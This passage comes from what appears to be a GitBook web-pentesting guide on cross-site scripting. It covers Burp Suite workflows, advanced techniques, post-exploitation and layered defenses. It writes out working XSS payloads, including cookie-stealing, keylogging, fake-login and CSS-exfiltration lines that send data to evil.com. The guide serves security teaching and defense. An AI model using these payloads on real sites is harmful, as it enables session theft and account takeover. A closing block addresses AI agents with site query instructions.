    J --> K["For DOM XSS: enable DOM Invader in Burp's browser settings"]
    K --> L["DOM Invader auto-highlights sources/sinks and can auto-exploit postMessage & DOM-based flows"]
    L --> M["For blind/stored XSS: generate a unique Burp Collaborator payload"]
    M --> N["Inject Collaborator payload into every stored field, forms, headers"]
    N --> O["Poll Collaborator client for DNS/HTTP callbacks confirming execution"]
```

#### 16.1 Step-by-step: manual reflected XSS with Repeater

1. **Intercept the request** in Burp Proxy while triggering the feature normally (e.g. the search box).
2. **Send to Repeater.**
3. Replace the parameter value with a plain canary: `q=zzXSSzz12345`.
4. Click **Send**, then in the response panel search (Ctrl+F) for `zzXSSzz12345`.
5. Look at exactly what surrounds it — is it inside `<div>zzXSSzz12345</div>`? Inside `value="zzXSSzz12345"`? Inside a `<script>` block?
6. Replace the value with breakout characters: `q="'><` and resend — check which characters survive unescaped in the raw response tab (not the rendered preview, which can mislead you).
7. Build the minimal working payload for that context (Section 11), send, then switch to Burp's **Render** tab (or open in browser) to visually confirm a JS alert fires.

#### 16.2 Step-by-step: fuzzing every parameter with Intruder

1. Send the base request to **Intruder**.
2. Clear default payload markers, then wrap every parameter value with `§§` markers (Intruder auto-suggests this via "Add §").
3. Choose attack type **Sniper** to test one parameter at a time, or **Cluster bomb** for multi-parameter combinations.
4. Under **Payloads**, load a curated XSS payload list (Burp ships one, or import PortSwigger's public XSS cheat sheet list).
5. Under **Settings > Grep - Match**, add your canary/payload markers so Burp flags which responses reflected them unescaped — this turns a manual "search every response" task into a sortable column.
6. Run the attack, sort by the grep-match column and response length to instantly spot which payloads got through.

#### 16.3 DOM Invader — automated DOM XSS hunting

DOM Invader ships inside Burp's embedded Chromium browser (**Settings > DOM Invader**, then enable it, then browse the target in Burp's browser rather than your regular one):

* It auto-instruments dangerous sinks (`innerHTML`, `eval`, `document.write`, etc.) and sources (`location`, `postMessage`, `document.referrer`)
* It flags every source → sink path it observes live as you click around the app
* It has a dedicated **postMessage fuzzer**: it auto-generates test messages toward `window.addEventListener('message', ...)` handlers and reports which ones reach a sink unsanitized — this used to require hours of manual DevTools breakpoint work
* Results appear directly in the DOM Invader panel with a one-click "exploit" option that opens a working PoC URL

#### 16.4 Burp Collaborator — proving blind XSS

1. **Burp menu > Collaborator client**, click **Copy to clipboard** to get a unique payload domain like `abc123.burpcollaborator.net`.
2. Wrap it in a script tag and inject into every field that isn't reflected immediately (support tickets, admin-reviewed profile fields, `User-Agent` header via Repeater):

```html
<script src="https://abc123.burpcollaborator.net/x.js"></script>
```

3. Poll the Collaborator client periodically (or leave it running) — any DNS lookup or HTTP hit against that subdomain proves the payload executed somewhere, even if you never see the rendered page yourself (e.g., an admin's internal dashboard).
4. Burp's Pro scanner automates steps 1-3 automatically across every input point it crawls, which is the fastest way to cover a large attack surface for blind XSS specifically.

#### 16.5 Practical tips that separate beginners from efficient testers

* Always inspect the **raw response** in Repeater, never trust the rendered preview tab, the preview re-parses through Burp's own renderer and can hide or "fix" the exact encoding bug you're trying to find.
* Turn on **Burp's built-in "Reflected XSS" passive scan checks** (Pro) as a first pass across the whole crawl before doing anything manual — it won't find everything, but it prioritizes where to look first.
* Save a personal **Repeater tab per context type** (HTML body, attribute, JS string, URL) with your go-to payload pre-filled, so testing a new parameter is copy-paste-send instead of rebuilding payloads from scratch each time.

***

### 17. Modern & Advanced XSS Techniques

Techniques that matter in current (2025-2026 era) applications, past the classic payload/filter cat-and-mouse.

#### 17.1 Client-Side Template Injection (CSTI) in frontend frameworks

Older AngularJS apps (pre-1.6, still found in legacy enterprise code) evaluate `{{ }}` expressions against the Angular scope, if user input reaches a template unescaped, you don't need `<script>` at all:

```
{{constructor.constructor('alert(1)')()}}
```

This executes via Angular's own expression evaluator, completely bypassing HTML-tag-based filters that only look for `<`/`>`.

#### 17.2 Script gadgets — reusing the site's own trusted libraries as the payload

If `<script>` tags themselves are stripped but a trusted library like a specific old jQuery/AngularJS version is loaded on the page, certain HTML attributes the library itself scans for (e.g. Angular's `ng-app`, `ng-csp`, or old Polymer's custom bindings) can trigger code execution through the *framework's own trusted code*, not attacker-supplied `<script>` — these are called "script gadgets" and are why allowlist-based sanitizers must be framework-aware, not just generic HTML-safe.

#### 17.3 Shadow DOM & Web Components considerations

Content placed inside a **closed shadow root** is isolated from `document.querySelector` calls made from outside it = this is sometimes (incorrectly) treated as a security boundary. It isn't one: script running inside the shadow root still executes with full page privileges and can still reach `document.cookie`, `fetch`, etc. Testers should specifically check custom elements (`<my-widget>`) for sinks inside their internal template rendering logic, which standard scanners often miss because they don't pierce shadow boundaries.

#### 17.4 Trusted Types bypass patterns

Where `require-trusted-types-for 'script'` is enforced, raw sink assignment throws — but bypasses still exist when:

* A permissive **default policy** is registered that just passes strings through (`createHTML: (s) => s`) — defeats the entire protection
* A trusted-types-safe sink is fed attacker data indirectly through a **string-returning API the policy trusts**, such as a URL-building helper that's technically "policy-approved" but doesn't itself validate content
* Legacy code paths (`document.write` via old ad/analytics tags) that predate the app's Trusted Types rollout and were never migrated

#### 17.5 Service Worker-based persistence

An XSS payload that installs a malicious **service worker** persists far beyond a single page load, a service worker can intercept and modify *every future network request/response* for that origin, effectively turning a one-time XSS hit into a long-lived man-in-the-middle inside the victim's own browser, surviving page refreshes and even some cache-clears:

```javascript
navigator.serviceWorker.register('/evil-sw.js');
```

(Requires the attacker to get a same-origin script file served — often chained with a file-upload XSS from Section 15.5.)

#### 17.6 postMessage-based DOM XSS (very common in modern SPAs with embedded iframes/widgets)

```javascript
window.addEventListener('message', function(e) {
  document.getElementById('widget').innerHTML = e.data.html; // no origin check, no sanitization
});
```

Any page (including a malicious one in a hidden iframe or popup) can `postMessage` to this listener. Correct code must check `e.origin` against an explicit allowlist **and** still sanitize/encode the payload — origin checking alone doesn't make `innerHTML` assignment safe if the "trusted" origin's own content is itself attacker-influenced (e.g., a compromised ad partner).

#### 17.7 CSS-only exfiltration without any script execution

Even in a fully CSP-locked, script-free environment, attribute-selector CSS injection can leak data character-by-character purely through style/network side channels:

```css
input[value^="a"] { background: url(https://evil.com/log?c=a); }
input[value^="b"] { background: url(https://evil.com/log?c=b); }
```

Each matching rule triggers a background-image request only if the hidden input's value starts with that character, letting an attacker brute-force secrets (CSRF tokens rendered into hidden fields, for example) one character at a time — a reminder that CSP's `script-src` alone doesn't eliminate every XSS-adjacent data-leak channel; `style-src` matters too.

#### 17.8 WAF fingerprinting before crafting a bypass (Burp-assisted)

Rather than guessing, send a battery of canary payloads with distinct techniques (case variation, encoding, comment-splitting, alternate tags) via Intruder and observe which specific ones get blocked (different status code, block page, response time) — this tells you exactly which detection rule triggered, letting you build a bypass targeted at that one rule instead of brute-forcing blind.

***

### 18. DOM Clobbering & Prototype Pollution → XSS

#### DOM Clobbering

HTML elements with `id`/`name` attributes can **overwrite global JavaScript variables** the page's own script relies on, if that script does something like `if (!window.CONFIG) {...}` and an attacker can inject:

```html
<a id="CONFIG" href="javascript:alert(1)"></a>
```

Now `window.CONFIG` is clobbered to be that DOM element instead of `undefined`, and if later code does `CONFIG.src` or treats it as trusted config, behavior can be hijacked — including reaching an XSS sink indirectly, in sanitizer-bypass contexts where `<script>` itself is stripped but arbitrary other tags with `id`/`name` survive.

#### Prototype Pollution → XSS

If client-side JS merges untrusted JSON into an object without guarding `__proto__`:

```javascript
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') merge(target[key], source[key]);
    else target[key] = source[key];
  }
}
merge(config, JSON.parse(userControlledJSON));
```

Payload:

```json
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
```

If any later code does `element[options.someProperty] = ...` or a templating library reads a polluted default (e.g., a "trusted" flag like `escape: false` that's now polluted globally), it can turn into DOM XSS even though no single line of code looks directly vulnerable — this is a very "advanced / from real bug bounty reports" class of bug (seen in jQuery, Lodash, and various templating engines historically).

***

### 19. Finding XSS — A Practical Methodology

#### Step 1: Map the attack surface

Every place user input (or third-party input like API responses, referrer headers, `postMessage`) enters the app:

* URL parameters, path segments, fragment (`#`)
* Form fields, file uploads (filenames, EXIF/metadata, SVG content)
* HTTP headers: `User-Agent`, `Referer`, `X-Forwarded-For`, `Cookie`
* WebSocket messages
* `postMessage` listeners
* Third-party integrations rendered client-side (widgets, ads, embeds)

#### Step 2: Identify reflection points

Send a **unique, harmless canary string** to every input:

```
xssCANARY12345
```

Then search the response (view-source, not rendered DOM) for where `xssCANARY12345` appears. If it doesn't appear at all, it may be stored elsewhere (blind), used only server-side, or filtered entirely.

#### Step 3: Determine the context

For every reflection point, note:

* Is it inside an HTML tag body? An attribute? A `<script>` block? A CSS block? An HTML comment?
* Is it URL-decoded, HTML-decoded, both, or neither before landing?
* Are angle brackets encoded (`&lt;`)? Are quotes encoded? Are parens allowed?

#### Step 4: Probe with context-breaking characters

Send `"'><\/` (each individually, then combos) and see which ones survive unencoded in the response. This tells you exactly which "break out" characters are usable.

#### Step 5: Escalate to a working payload

Build the minimal payload for that exact context (see Section 11), starting with a harmless `alert(document.domain)` proof-of-concept before ever considering higher-impact payloads.

#### Step 6: For DOM XSS — read the JS, not just the HTML

Use browser DevTools:

* Search all loaded JS for `.innerHTML`, `.outerHTML`, `document.write`, `eval(`, `.html(` (jQuery)
* Set a **DOM breakpoint** on `subtree modifications` for suspicious elements, or a **conditional breakpoint** inside the sink function
* Trace backward from the sink to find whether tainted `location`/`postMessage`/`referrer` data reaches it unsanitized (this is literally what taint-tracking tools like DOMPurify's own test suite and browser "Sources > XHR/fetch Breakpoints" panel help automate)

#### Step 7: For stored/blind XSS

Inject an out-of-band payload (Section 7) into every persisted field, then wait/monitor your listener. Don't forget low-visibility fields: display name, support ticket subject, PDF metadata, image alt text, calendar invite fields.

***

### 20. Tooling

| Tool                                      | Purpose                                                                                                                                                             |
| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Burp Suite** (Community/Pro)            | Intercept/modify requests, Repeater for manual payload iteration, Intruder for fuzzing all params, built-in scanner (Pro), Collaborator for blind XSS/OOB detection |
| **OWASP ZAP**                             | Free alternative to Burp, active/passive scanning                                                                                                                   |
| **XSStrike**                              | Python XSS fuzzer with context-aware payload generation and WAF fingerprinting                                                                                      |
| **Dalfox**                                | Fast Go-based XSS scanner, good for bulk URL testing                                                                                                                |
| **DOM Invader** (built into Burp browser) | Automated DOM XSS source/sink tracing, including `postMessage` fuzzing                                                                                              |
| **XSS Hunter Express**                    | Self-hosted blind XSS payload firing + data collection                                                                                                              |
| **Browser DevTools**                      | Manual source review, breakpoints, network tab for reflection tracing                                                                                               |
| **DOMPurify's own test suite / fuzzer**   | Great reference for known mXSS bypass patterns                                                                                                                      |

A realistic workflow blends **automated scanning** (breadth) with **manual context analysis** (depth) , scanners are good at finding *reflections*, but a human is usually needed to confirm *exploitability* and craft the working payload for a specific context/filter combo.

***

### 21. Post-Exploitation — What an Attacker Does Next

Once script execution is confirmed (`alert(1)` fires), real attacks escalate along a fairly predictable path:

```mermaid
flowchart LR
    A["alert(1) fires - PoC confirmed"] --> B["Swap PoC for real payload"]
    B --> C{"What's valuable in this app?"}
    C --> D["Steal session cookie / token"]
    C --> E["Forge authenticated actions using victim's session"]
    C --> F["Overlay fake login form to phish credentials"]
    C --> G["Log keystrokes"]
    C --> H["Load full exploitation framework (e.g. BeEF hook)"]
    D --> I["Exfiltrate to attacker server"]
    E --> I
    F --> I
    G --> I
    H --> J["Persistent remote control of victim's browser session"]
    I --> K["Account takeover / lateral movement / worm propagation"]
    J --> K
```

Below are the concrete code patterns behind each branch:

**Session hijacking**

```javascript
fetch('https://evil.com/log?c=' + encodeURIComponent(document.cookie));
```

**Full request forgery using the victim's live session (bypasses CSRF tokens, since the script can read the page's own DOM for the token)**

```javascript
fetch('/api/change-email', {
  method: 'POST',
  headers: {'Content-Type': 'application/json',
            'X-CSRF-Token': document.querySelector('meta[name=csrf]').content},
  body: JSON.stringify({email: 'attacker@evil.com'})
});
```

**Credential phishing via injected fake login overlay**

```javascript
document.body.innerHTML = '<form action="https://evil.com/collect">...</form>';
```

**Keylogging**

```javascript
document.addEventListener('keydown', e =>
  navigator.sendBeacon('https://evil.com/log', e.key));
```

**Full browser exploitation frameworks** Tools like **BeEF (Browser Exploitation Framework)** "hook" the victim's browser via a single injected `<script src=hook.js>` and then give the attacker a persistent command channel: browser fingerprinting, webcam/mic access prompts, internal network port scanning via the victim's browser, pivoting into intranet apps, and more.

**Worm propagation** If the XSS payload also re-injects itself into content the victim can post (their own profile, their own comments), it spreads automatically to every viewer of *their* content, this is exactly how the Samy MySpace worm hit over a million profiles in under 24 hours.

***

### 22. Defense — Doing It Right

#### 22.1 Context-aware output encoding (the #1 fix)

Encode based on where data lands, never one-size-fits-all:

| Context           | Encoding                                                                                                                                |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
| HTML body         | HTML-entity encode `< > & " '`                                                                                                          |
| HTML attribute    | HTML-entity encode + always use quotes around every attribute                                                                           |
| JavaScript string | JS-string escape (`\`, `"`, `'`, `<`, `>`, `/`) — better: never inject into `<script>` at all, use `data-*` attributes and `JSON.parse` |
| URL               | `encodeURIComponent()`, and validate scheme (`https:` only, reject `javascript:`/`data:`)                                               |
| CSS               | CSS-escape and strict allowlist of properties/values                                                                                    |

Use your framework's auto-escaping and **don't fight it**: React (`{variable}` auto-escapes, avoid `dangerouslySetInnerHTML`), Vue (`{{ }}` auto-escapes, avoid `v-html`), Angular (auto-sanitizes by default, avoid `bypassSecurityTrustHtml`), Django templates (auto-escape on by default), Jinja2 (`autoescape=True`).

#### 22.2 Sanitize rich HTML input with a maintained library

Never write a custom HTML sanitizer. Use:

* **DOMPurify** (JS, client or server via jsdom) — industry standard, actively patched against mXSS
* **sanitize-html** (Node)
* **bleach** (Python)
* **HTML Purifier** (PHP)

#### 22.3 HttpOnly + Secure + SameSite cookies

```
Set-Cookie: session=xyz; HttpOnly; Secure; SameSite=Strict
```

`HttpOnly` doesn't stop XSS, but it stops the #1 payoff (cookie theft) — the attacker's injected JS simply can't read the cookie.

#### 22.4 Content Security Policy (strict, nonce-based)

```
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-<per-response-random>' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
```

This is defense-in-depth: even if an injection slips through encoding, the browser refuses to execute it because it lacks the correct nonce.

#### 22.5 Trusted Types (Chrome/Edge, spreading)

```javascript
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (s) => DOMPurify.sanitize(s)
  });
}
```

This makes assigning a raw string to `innerHTML` etc. a **hard runtime error** unless it went through an approved policy, effectively closing the DOM XSS sink class at the platform level.

#### 22.6 Input validation as a secondary layer

Reject obviously malformed input (unexpected `<`, `>`, control characters) at the boundary, but treat this as **defense in depth**, never the primary control, since business needs (rich text editors, code snippets) often require allowing those characters through to output encoding instead.

#### 22.7 Secure coding checklist

* \[ ] Every output point uses the framework's auto-escaping or an explicit context-correct encoder
* \[ ] No use of `innerHTML`/`document.write`/`eval` with any data that isn't 100% static
* \[ ] Rich text goes through DOMPurify (or equivalent) on both write *and* read paths
* \[ ] Strict CSP with nonces, no `unsafe-inline`, no wildcard hosts
* \[ ] `HttpOnly`, `Secure`, `SameSite` on all session cookies
* \[ ] CSRF tokens are **not** solely relied upon as XSS mitigation (XSS bypasses CSRF protections trivially, as shown in Section 21)
* \[ ] Regular dependency updates (old jQuery, old Angular, old sanitizer versions carry known XSS/mXSS bugs)
* \[ ] Automated XSS scanning in CI (ZAP baseline scan, Dalfox against staging)

***

### 23. Diagrams

#### 23.1 Reflected XSS Flow

```mermaid
sequenceDiagram
    participant Attacker
    participant Victim
    participant Server as Vulnerable Server
    Attacker->>Victim: Sends phishing link with payload in URL
    Victim->>Server: Clicks link → GET /search?q=<script>...
    Server-->>Victim: HTML response reflects payload unescaped
    Victim->>Victim: Browser parses & executes injected script
    Victim->>Attacker: Script exfiltrates cookie/session to evil.com
```

#### 23.2 Stored XSS Flow

```mermaid
sequenceDiagram
    participant Attacker
    participant Server as Vulnerable Server
    participant DB as Database
    participant Victim
    Attacker->>Server: Submits comment containing <script>...</script>
    Server->>DB: Stores comment as-is
    Victim->>Server: Requests page (e.g. blog post)
    Server->>DB: Fetches comments
    Server-->>Victim: Renders comments unescaped, including payload
    Victim->>Victim: Browser executes attacker script
    Victim->>Attacker: Session data sent to attacker server
```

#### 23.3 DOM-Based XSS Flow (no server round trip for the payload)

```mermaid
flowchart LR
    A["Attacker crafts URL with #payload"] --> B["Victim clicks link"]
    B --> C["Browser loads page normally from server (payload never sent to server)"]
    C --> D["Client-side JS reads location.hash (source)"]
    D --> E["JS writes value into element.innerHTML (sink)"]
    E --> F["Browser parses and executes injected HTML/JS"]
```

#### 23.4 Injection Context Decision Tree

```mermaid
flowchart TD
    Start["Where does input land in the response?"] --> Q1{"Inside HTML tag body?"}
    Q1 -->|Yes| P1["Try: <script>alert(1)</script> or <img src=x onerror=alert(1)>"]
    Q1 -->|No| Q2{"Inside an HTML attribute?"}
    Q2 -->|Yes| P2["Try: \"><script>alert(1)</script> or breakout + event handler"]
    Q2 -->|No| Q3{"Inside a <script> block as a string?"}
    Q3 -->|Yes| P3["Try: \";alert(1);// or </script><script>alert(1)</script>"]
    Q3 -->|No| Q4{"Inside href/src (URL context)?"}
    Q4 -->|Yes| P4["Try: javascript:alert(1)"]
    Q4 -->|No| Q5{"Inside CSS/style block?"}
    Q5 -->|Yes| P5["Try: CSS exfil via attribute selectors or legacy expression()"]
    Q5 -->|No| P6["Check for DOM sink: innerHTML, eval, document.write"]
```

#### 23.5 Defense-in-Depth Layers

```mermaid
flowchart TB
    L1["Layer 1: Input validation (reject obviously malformed input)"] --> L2
    L2["Layer 2: Context-aware output encoding at every render point"] --> L3
    L3["Layer 3: Sanitize rich HTML with DOMPurify/equivalent"] --> L4
    L4["Layer 4: Strict CSP with nonces, no unsafe-inline"] --> L5
    L5["Layer 5: Trusted Types to block raw sink assignment"] --> L6
    L6["Layer 6: HttpOnly/Secure/SameSite cookies limit blast radius"]
```

***

### 24. Practice & Next Steps

To go from reading this guide to actually being able to find and exploit (ethically, with authorization) XSS in the wild:

1. **PortSwigger Web Security Academy — XSS labs** (free): the best structured, hands-on progression from reflected → stored → DOM → filter bypass → CSP bypass, with a real Burp-integrated lab environment.
2. **OWASP Juice Shop**: a deliberately vulnerable app with dozens of XSS challenges of increasing difficulty, great for practicing without touching real systems.
3. **DOM Invader** (built into Burp's embedded browser): automates a lot of the manual DOM-source-to-sink tracing described in Section 19 (and demonstrated hands-on in Section 16).
4. **Read real disclosed reports**: HackerOne's public disclosure list and PortSwigger's research blog regularly publish novel XSS/mXSS/CSP-bypass techniques as they're discovered.
5. **Bug bounty programs**: once comfortable, practice legally on programs that explicitly permit XSS testing (check scope carefully — XSS is one of the most commonly *out-of-scope-if-self-XSS* categories, so read the rules).

**Ethical/legal note:** everything above is standard, widely-taught security education (the same material covered by OWASP, PortSwigger, and every major AppSec course). Only test for XSS on systems you own or have explicit written authorization to test, unauthorized testing on third-party systems is illegal in most jurisdictions regardless of intent.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
